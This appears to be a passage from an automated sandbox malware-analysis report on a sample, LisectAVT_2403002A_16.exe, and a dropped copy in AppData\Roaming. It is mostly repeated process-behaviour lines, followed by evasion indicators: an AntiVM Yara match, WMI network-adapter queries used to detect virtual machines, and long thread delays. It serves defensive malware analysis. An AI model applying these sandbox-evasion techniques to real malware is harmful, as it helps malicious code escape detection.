Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: LisectAVT_2403002A_16.exe PID: 6668, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: NxmtwwVGOtEdjd.exe PID: 7680, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 1300000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 2E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 4E90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 7C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 8C00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 8EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 9EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 1340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 2E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Memory allocated: 14A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 2FB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 31E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 3020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 79D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 89D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 79D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: F60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 2CE0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Memory allocated: 2A70000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8436	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8182	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 505	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Window / User API: threadDelayed 2784	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe	Window / User API: threadDelayed 1041	Jump to behavior
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Window / User API: threadDelayed 1143
Source: C:\Users\user\AppData\Roaming\NxmtwwVGOtEdjd.exe	Window / User API: threadDelayed 2365

Source: C:\Users\user\Desktop\LisectAVT_2403002A_16.exe TID: 2060	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7540	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7444	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
